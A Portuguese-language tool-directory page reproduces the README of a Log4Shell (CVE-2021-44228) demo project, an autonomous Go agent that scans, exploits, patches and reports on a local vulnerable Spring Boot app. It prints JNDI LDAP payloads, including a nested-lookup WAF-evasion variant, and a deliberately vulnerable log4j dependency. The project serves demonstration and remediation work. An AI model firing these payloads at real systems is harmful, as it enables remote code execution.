Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Log4ShellAuditor — Um agente Go reflexivo autônomo para auditoria de segurança de ciclo completo, evasão de WAF, verificação LDAP OOB, autorremediação (aplicação automática de patches) e relatórios de conformidade para CVE-2021-44228 (Log4Shell). | Kitploit
Ferramentas/GitHubGitHub/c00ln3t/log4shellauditor
Scanners de VulnerabilidadesGeração de PayloadsEscaneamento de PortasExploraçãoExploração de Aplicações WebBypass de WAFTestes de PenetraçãoDevSecOpsLabs e Prática
GitHubc00ln3t/log4shellauditor

Log4ShellAuditor

Um agente Go reflexivo autônomo para auditoria de segurança de ciclo completo, evasão de WAF, verificação LDAP OOB, autorremediação (aplicação automática de patches) e relatórios de conformidade para CVE-2021-44228 (Log4Shell).

125há 1 mêsAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/50368/28c8d645b196395be57f65313871e421ff86e7d77fb27a42f69d84cf844362b6.png" alt="AUTO AUDIT Banner" width="900" style="border-radius: 8px;">
</p>

<h1 align="center">🤖 AUTO AUDIT</h1>

<p align="center">
  <b>Bancada de demonstração isolada de um agente executor autônomo reflexivo (Go/Java)</b>
</p>

<p align="center">
  <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.md"><b>Русский 🇷🇺</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.en.md"><b>English 🇬🇧</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.zh.md"><b>中文 🇨🇳</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.es.md"><b>Español 🇪🇸</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.de.md"><b>Deutsch 🇩🇪</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.it.md"><b>Italiano 🇮🇹</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.ar.md"><b>العربية 🇸🇦</b></a>
</p>

<p align="center">
  <a href="https://golang.org"><img src="https://img.shields.io/badge/Go-1.21+-00ADD8?style=for-the-badge&amp;logo=go" alt="Go Version"></a>
  <a href="https://openjdk.org"><img src="https://img.shields.io/badge/Java-17+-ED8B00?style=for-the-badge&amp;logo=openjdk" alt="Java Version"></a>
  <a href="https://maven.apache.org"><img src="https://img.shields.io/badge/Maven-3.8+-C71A36?style=for-the-badge&amp;logo=apachemaven" alt="Maven"></a>
  <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/LICENSE"><img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" alt="License"></a>
  <a href="https://github.com/C00LN3T/Log4ShellAuditor/graphs/traffic"><img src="https://img.shields.io/badge/dynamic/json?color=007ec6&amp;label=views&amp;query=$.count&amp;url=https://raw.githubusercontent.com/C00LN3T/Log4ShellAuditor/traffic-Log4ShellAuditor/traffic_views.json&amp;style=for-the-badge" alt="Views"></a>
  <a href="https://github.com/C00LN3T/Log4ShellAuditor/graphs/traffic"><img src="https://img.shields.io/badge/dynamic/json?color=007ec6&amp;label=clones&amp;query=$.count&amp;url=https://raw.githubusercontent.com/C00LN3T/Log4ShellAuditor/traffic-Log4ShellAuditor/traffic_clones.json&amp;style=for-the-badge" alt="Clones"></a>
</p>

---

## 🧭 Visão geral

> [!NOTE]
> **AUTO AUDIT** é um complexo de software que demonstra um **ciclo fechado 100% autônomo (Sense-Think-Act)** de detecção, verificação, exploração, correção automática (*Self-Healing / Auto-Remediation*) e relatórios de conformidade para a vulnerabilidade crítica **Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103)**.
>
> A bancada implanta uma aplicação web local baseada em **Java Spring Boot**, um **LDAP TCP Callback Listener** integrado e o núcleo cognitivo de um **agente Go**, que toma decisões em condições de observabilidade parcial do ambiente externo (*Partially Observable Markov Decision Process — POMDP*).```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#3b82f6',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e1b4b',
    'tertiaryColor': '#0f172a',
    'edgeLabelBackground': '#0f172a'
  }
}}%%
graph TD
    classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff;
    classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff;
    classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff;
    classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;

    subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
        A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
    end
    subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
        B --> C{Вычисление Utility Policy}:::think
        C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
    end
    subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
        D --> E[Выполнение Tool.Execute]:::act
        E -->|Воздействие| F((Java Spring Boot Target)):::target
        F -.->|Обратный канал OOB| A
    end
```
---

## 🛠️ Arquitetura técnica e componentes

A estrutura de software do agente é desenvolvida de acordo com os princípios da arquitetura limpa (*Hexagonal Architecture / Ports and Adapters*), SOLID e TDD:

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — Ponto de entrada. Gerencia o ciclo de vida dos processos em segundo plano e coordena a inicialização da goroutine do agente.
* 📂 **`internal/`** — Lógica de negócios principal do circuito cognitivo:
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — Circuito cognitivo. Implementa o loop de controle e a regra de decisão para seleção da estratégia `Think()`.
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — Base de conhecimento thread-safe (`KnowledgeBase` / LTM) baseada em `sync.RWMutex`.
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — Interface `Tool` para os efetores.
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — Registro de efetores polimórficos (ferramentas):
    * 🔍 `ToolPortScanner` — Reconhecimento do perímetro de rede.
    * 🌐 `ToolDiscovery` — Descoberta de pontos de articulação e vetores de entrada (`X-Api-Version`).
    * 🔬 `ToolPayloadGenerator` — Síntese do vetor de assinatura JNDI.
    * 🚀 `ToolProber` — Verificação de vulnerabilidade por meio de rastreamento fora de banda (Out-of-Band).
    * 🛡️ `ToolSemanticFuzzer` — Contorno de classificadores de filtragem (WAF Evasion) por meio de mutações sintáticas aninhadas.
    * 🩹 `ToolRemediator` — Aplicação automática de patches (Self-Healing).
    * 📄 `ToolReporter` — Geração de relatório de acordo com GOST R 56939-2016.
* 📂 **`pkg/`** — Pacotes e bibliotecas de serviço:
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — Listeners fora de banda (LDAP e HTTP).
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — Gerenciamento do ciclo de vida e reinicialização do alvo Java local.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — Arquivos de configuração para implantação (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — Aplicativo de teste vulnerável Java Spring Boot.


---

## 🎯 Aparato matemático e especificação do ciclo cognitivo (Think-Act Loop)

A tomada de decisão do agente é formalizada como um **Processo de Decisão de Markov Parcialmente Observável (POMDP)**, descrito pela tupla $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — espaço discreto de estados ocultos do ambiente alvo (disponibilidade da porta, presença de parâmetros vulneráveis, atividade do WAF, fato de comprometimento, status da aplicação de patches, presença do relatório de conformidade).
* $A$ — espaço de ações dos efetores (chamada de ferramentas: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — espaço de observações (respostas HTTP recebidas, callbacks TCP OOB, registros do sistema de arquivos).
* $O(o \mid s', a)$ — função de observação que determina a probabilidade de receber uma resposta $o \in \Omega$.

### 1. Vetor de crença (Belief State)
O agente não tem informação direta sobre o estado oculto do ambiente $s \in S$ e opera com o vetor de crença $b(s)$ — uma distribuição de probabilidade sobre $S$, que é armazenada e atualizada dinamicamente na memória `KnowledgeBase`:
* $b(S_{recon}) \in \{0, 1\}$ — estado do reconhecimento de rede (porta aberta/fechada). Mapeado para `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mapeamento dos vetores de entrada (se os parâmetros foram encontrados). Mapeado para `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — prontidão da assinatura de exploit. Mapeado para `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — status de comprometimento (presença de Loot/Flag). Mapeado para `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — fato de localização da vulnerabilidade. Mapeado para `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — verificação da ausência de novo disparo OOB. Mapeado para `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — geração do relatório regulamentado. Mapeado para `ReportGenerated`.

### 2. Função da regra de decisão (Policy Mapping)
A função de tomada de decisão `Think()` implementa uma regra de decisão determinística $\pi: B \to A$, mapeando sequencialmente o estado de crença acumulado atual $b$ para a ação ótima do efetor $a \in A$.

### 3. Aprendizado adaptativo e avaliação da eficácia das ferramentas
Para cada ferramenta $a \in A$, estatísticas são acumuladas na memória `ToolStats` e o índice de utilidade (Efficiency Score) é calculado:

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

O agente usa esses indicadores para alterar dinamicamente a trajetória: se a sonda primária `prober` falhou ($\text{EfficiencyScore}(\text{prober}) = 0$), o agente identifica a presença de filtragem no nó de destino (WAF), ativa a estratégia de compensação de bypass do WAF usando a ferramenta `semantic_fuzzer` e executa a mutação do vetor de injeção.

### Cenário passo a passo da operação da bancada de testes:

| Passo | Ferramenta Selecionada | Ação e física do processo | Alteração do Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | Verificação do socket TCP do host `:8080`. | Porta HTTP aberta do serviço web detectada ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Execução de requisição GET, parsing do DOM e cabeçalhos. | Vetor de entrada identificado: cabeçalho `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Síntese do vetor de exploit base. | O banco de dados é preenchido com a string `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Ataque primário. O agente envia a payload. | Tentativa bloqueada pelo WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Ofuscação da assinatura por meio de nested lookups. | Assinatura mutada gerada ($b(S_{payload}) = 1$, WAF bypass). |
| **6** | `prober` | Ataque com vetor ofuscado. | O listener LDAP embutido registra a conexão TCP de entrada. Fato de RCE identificado ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Correção automática. Gravação do flag em `remediation.properties` e reinicialização da JVM. | Processo Spring Boot reiniciado com o flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Verificação (nova requisição de sondagem). | Aguardando conexão OOB na porta `1389`. Conexão ausente $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Geração de relatório markdown. | Documento `reports/cve_2021_44228_report.md` gerado ($b(S_{report}) = 1$). |
| **10**| `stop` | Encerramento. | Fim da execução. |

## 📊 Fluxogramas de algoritmos

### 1. Algoritmo geral de funcionamento do agente (Sense-Think-Act Loop)
Este diagrama descreve o ciclo de vida contínuo do funcionamento do agente: desde o início e a inicialização da base de conhecimento até o encerramento da sessão de auditoria.```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart
```
### 2. Algoritmo do núcleo cognitivo de tomada de decisão (Think)
Este esquema descreve detalhadamente a lógica de seleção do próximo passo com base no vetor de confiança acumulado atual (Belief State) dentro da função `Think()`:```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
    Lock --> ReadState[Чтение вектора доверия b]:::process
    
    %% Step 1
    ReadState --> PortScan{port_scanner выполнен?}:::decision
    PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection
    
    %% Step 2
    PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
    Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection
    
    %% Step 3
    Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
    Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection
    
    %% Step 4 (Exploit)
    Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
    Loot -- Нет --> ProberStats{Была попытка prober?}:::decision
    
    ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
    ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
    FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
    FuzzerStats -- Да --> RetProber:::selection
    
    %% Step 5
    Loot -- Да --> Patch{Патч применен?}:::decision
    Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection
    
    %% Step 6
    Patch -- Да --> Verify{Патч верифицирован?}:::decision
    Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection
    
    %% Step 7
    Verify -- Да --> Report{Отчет сформирован?}:::decision
    Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection
    
    %% Step 8
    Report -- Да --> RetStop[Выбрать 'stop']:::selection
    
    %% Return Statements
    RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
    RetDiscovery --> Unlock
    RetPayload --> Unlock
    RetProber --> Unlock
    RetFuzzer --> Unlock
    RetRemediator --> Unlock
    RetProberVerify --> Unlock
    RetReporter --> Unlock
    RetStop --> Unlock
    
    Unlock --> End([Возврат выбранного инструмента]):::startEnd
```
---

## 📦 Especificação do aplicativo Java vulnerável

O aplicativo-alvo no diretório `test/vulnerable-app/` é um serviço REST mínimo baseado em **Spring Boot 2.7.18** com versões intencionalmente reduzidas das bibliotecas **Apache Log4j2**:```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>
```
O controlador vulnerável registra os cabeçalhos HTTP recebidos sem sanitização prévia:```java
logger.info("[AUDIT] API Version header logged: {}", apiVersion);
```
Ao receber uma string do tipo `\${jndi:ldap://...\}` o logger inicia a resolução do endereço JNDI, enviando uma solicitação via protocolo LDAP para a porta `1389`.

---

## 🚀 Instruções de execução

O ambiente de demonstração suporta dois modos de implantação: execução local diretamente no sistema host (Opção A) ou execução totalmente conteinerizada em ambiente de rede isolado via Docker Compose (Opção B).

### Opção A. Execução local no sistema host

#### Pré-requisitos
* **JDK 17+** (verifique com `java -version`)
* **Maven 3.8+** (verifique com `mvn -version`)
* **Go 1.21+** (verifique com `go version`)

#### 1. Compilação do microsserviço Java
Compile o alvo Java em um artefato JAR gordo:```bash
cd test/vulnerable-app
mvn clean package
cd ../..
```
*Certifique-se de que o arquivo `vulnerable-app-simple-1.0.0.jar` foi criado com sucesso no diretório `test/vulnerable-app/target/`.*

#### 2. Compilação do payload de exploit
Compile a classe Java Exploit que será servida pelo servidor HTTP:```bash
javac internal/payload/Exploit.java
```
#### 3. Compilação e execução do ambiente de demonstração
Execução no modo de interpretação Go on-the-fly:```bash
go run ./cmd/agent
```
Ou compile para um arquivo binário executável:```bash
go build -o test_agent ./cmd/agent
./test_agent
```
---

### Opção B. Execução em ambiente Docker isolado (Docker Compose)

> [!TIP]
> Esta opção não requer a instalação de Go, Java ou Maven no seu sistema host. Todo o ambiente é construído e orquestrado automaticamente em uma rede virtual isolada `172.20.0.0/16`.


#### Pré-requisitos
* **Docker** instalado e o plugin **Docker Compose** (verifique através de `docker compose version`).

#### 1. Inicialização do ambiente
Execute a construção das imagens e a inicialização dos contêineres com um único comando a partir do diretório raiz do projeto:```bash
docker compose -f deployments/docker-compose.yml up --build
```
#### 2. Descrição dos processos nos contêineres:
* `vulnerable-app` compilará automaticamente o aplicativo Java Spring Boot, gravará o flag secreto no diretório restrito `/var/lib/secret/flag.txt` e iniciará o servidor web na porta `:8080`.
* `reflective-agent` compilará o código Go do agente, compilará o payload Java `Exploit.java`, subirá os servidores OOB e iniciará o ciclo cognitivo.
* A pasta local `reports/` no sistema host está montada no contêiner do agente — o relatório GOST gerado ao final do trabalho será salvo automaticamente no seu diretório `reports/cve_2021_44228_report.md`.

#### 3. Encerramento do ambiente
Para finalizar a simulação e remover os recursos de rede, execute:```bash
docker compose -f deployments/docker-compose.yml down
```
---

## 📊 Exemplo de saída do console```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.
```
---

## 📜 Proteção da Informação e Conformidade
O relatório gerado pelo agente no arquivo `reports/cve_2021_44228_report.md` considera os principais padrões russos de segurança da informação:
* **ГОСТ Р 56939-2016** — Desenvolvimento de software seguro.
* **ФЗ-152** — Requisitos para a proteção de dados pessoais (ПДн) ao detectar capacidades não declaradas.
* **ФЗ-187** — Garantia da resiliência de objetos da infraestrutura crítica de informação (КИИ РФ).

---

## 🛡️ Licença
Este projeto é distribuído sob a licença **MIT**. Detalhes no arquivo [LICENSE](https://github.com/c00ln3t/log4shellauditor/blob/main/LICENSE).
Baixar ferramenta